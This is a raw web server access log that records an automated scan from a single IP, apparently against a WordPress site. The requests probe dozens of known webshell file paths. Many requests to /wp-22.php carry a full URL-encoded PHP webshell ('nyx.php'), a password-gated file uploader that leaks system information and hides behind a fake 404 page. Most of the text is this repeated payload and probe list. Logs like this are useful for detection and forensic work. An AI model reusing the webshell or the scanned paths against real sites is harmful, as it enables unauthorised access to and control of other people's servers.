/wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:52 +0530] "GET /images/vuln.php HTTP/1.1" 302 235 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:52 +0530] "GET /wp-content/themes/config.bak.php HTTP/1.1" 302 252 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:52 +0530] "GET /new.php HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:52 +0530] "GET /mailer1.php HTTP/1.1" 302 231 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:52 +0530] "GET /.tmb/cache/shz.php HTTP/1.1" 302 238 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:52 +0530] "GET /sindex.php HTTP/1.1" 302 230 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:53 +0530] "GET /leaf_php.php HTTP/1.1" 302 232 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:53 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:53 +0530] "GET /wp.php?Chitoge HTTP/1.1" 302 234 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:53 +0530] "GET /wp-includes/.wp-back.phP HTTP/1.1" 302 244 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:53 +0530] "GET /wp-content/uploads/2021/12/up.php HTTP/1.1" 302 253 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:54 +0530] "GET /wp-includes/wp-red.php HTTP/1.1" 302 242 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:54 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:54 +0530] "GET /license.php HTTP/1.1" 302 231 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:54 +0530] "GET /blog/wp-content/themes/seotheme/mar.php HTTP/1.1" 302 259 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:54 +0530] "GET /j.php HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:54 +0530] "GET /wp-includes/class-wp-block-list.php HTTP/1.1" 302 255 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:54 +0530] "GET /shx.php HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:55 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:55 +0530] "GET /images/sym.php HTTP/1.1" 302 234 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:55 +0530] "GET /wp-content/upgrade/lfgpoem.php HTTP/1.1" 302 250 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:55 +0530] "GET /100.php HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:55 +0530] "GET /.well-known/acme-challenge/wolf-shell.php HTTP/1.1" 302 261 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:56 +0530] "GET /wp-admin/includes/fw.php HTTP/1.1" 302 244 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:56 +0530] "GET /lab.php HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:57 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:57 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:57 +0530] "GET /7index.php HTTP/1.1" 302 230 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:57 +0530] "GET /wso.php HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:57 +0530] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 302 254 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:57 +0530] "GET /xl.php HTTP/1.1" 302 226 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:57 +0530] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 302 254 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:58 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:58 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:59 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:59 +0530] "GET /cms.php HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:59 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:59 +0530] "GET /wp-admin/css/media.php HTTP/1.1" 302 242 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:59 +0530] "GET /indeeex.php HTTP/1.1" 302 231 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:00 +0530] "GET /o.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:03 +0530] "GET /wp-includes/pomo/1.php HTTP/1.1" 302 242 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:04 +0530] "GET /wp-content/plugins/fighter/fk.php HTTP/1.1" 302 253 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:05 +0530] "GET /am.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:06 +0530] "GET /sym.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:06 +0530] "GET /wp/wp-content/themes/seotheme/mar.php HTTP/1.1" 302 257 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:07 +0530] "GET /wp-content/uploads/wp-stream.php HTTP/1.1" 302 252 